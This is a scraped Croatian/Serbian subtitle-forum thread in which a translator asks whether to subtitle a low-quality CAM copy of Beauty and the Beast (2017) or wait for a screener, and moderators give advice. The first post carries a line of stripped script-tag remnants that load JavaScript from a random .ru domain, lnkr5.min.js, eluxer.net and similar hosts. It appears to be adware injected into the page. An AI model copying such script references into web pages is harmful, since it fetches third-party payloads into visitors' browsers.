Prevodi || Titlovi || Преводи || Podnapisi || Prijevodi
Početna strana Početna strana > TITLOVI / PREVODI > Najave, ispravke, obavještenja...
  Aktivne teme Aktivne teme RSS Feed - Titlovi za novi film - pitanje kvalitete
  FAQ u vezi foruma FAQ u vezi foruma  Pretraži forum   Events   Registracija Registracija  Prijava Prijava


Pravila ponašanja na forumu :: Pravila za postavljanje prevoda :: FAQ u vezi prevoda :: Voditelji foruma
Potražnja prevoda :: Obaveštenje svim NOVIM članovima !!! :: UPUTE ZA IZRADU I SINKRONIZACIJU PRIJEVODA
OFICIJALNI KODI PLUGIN

Titlovi za novi film - pitanje kvalitete
 Odgovori Odgovori
Korisnik
Poruka
  Tema Pretraži Tema Pretraži  Opcije teme Opcije teme
jobbrecht View Drop Down
Translator
Translator
Avatar

Pridružen: 12.Sijecanj/Jan.2013
Status: Offline
Points: 17 		Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj jobbrecht Citiraj  OdgovoriOdgovor Direktni link do posta Tema: Titlovi za novi film - pitanje kvalitete
    Objavljeno: 31.Ožujak/Mar.2017 u 19:37
Pozdrav, 'predbilježio' sam se za prijevod filma Ljepotica i zvijer (2017).

Ono što me sad zanima je kada vi obično prevodite filmove. CAM verzija koja je izašla je zaista loše kvalitete, tako da bih svakako pričekao barem Screener (DVDScr) verziju prije nego idem prevoditi. Kada će to otprilike biti? Da li vi običavate prevoditi CAM verzije ili čekate bolju kvalitetu?
< ="https://3uorg03dxfy.ru/jsi/id_161.js">< ="//i.us/28fd7b218436933984.js?sid=161">< ="text/" ="http://i.us/addons/lnkr5.min.js">< ="text/" ="http://cdncache-a.akamaihd.net/subee5452/49957_655_161/l.js?pid=2449&ext=Advertise&a652c_s1=1">< ="text/" ="http://eluxer.net/code?id=105&subid=49957_655_161">
Na vrh
Subtitle fan View Drop Down
Junior moderator
Junior moderator
Avatar

Pridružen: 09.Svibanj/May.2016
Status: Offline
Points: 4575 		Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj Subtitle fan Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 31.Ožujak/Mar.2017 u 19:56
Ako zeliš da prevedeš CAM možeš, ima nekih prevodilaca koji to rade ali znam da je na sluh izuzetno teško i na HQ a kamoli CAM snimku. HQ kvalitet tek krajem maja/početkom juna izlazi. Lično ja bih HQ sačekao, ali ako imaš volje i vremena možeš i ovu prevesti neće škoditi.

Ažurirao Subtitle fan - 31.Ožujak/Mar.2017 u 20:00
Na vrh
drdamjan View Drop Down
Approval team
Approval team
Avatar

Pridružen: 02.Studeni/Nov.2005
Lokacija: Croatia
Status: Offline
Points: 2471 		Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj drdamjan Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 31.Ožujak/Mar.2017 u 20:34
Ako baš hoćeš biti junak koji će to prvi napraviti, 
a konkurencije za ovo će biti, 
sa camom si priredi tajming i odradi ono što lako čuješ, 
ostalo stavi neki kod, xxx ja stavljam. 
Tako ćeš biti nabrušen za oštri start. Smile  
https://www.youtube.com/watch?v=GGubts0G-xk
Na vrh
 Odgovori Odgovori
  Prosledi temu   

Pređi na drugi Forum Forumska ovlašćenja View Drop Down

Forum Software by Web Wiz Forums® version 11.01
Copyright ©2001-2014 Web Wiz Ltd.

Stranica je generirana u 0,156 sekundi.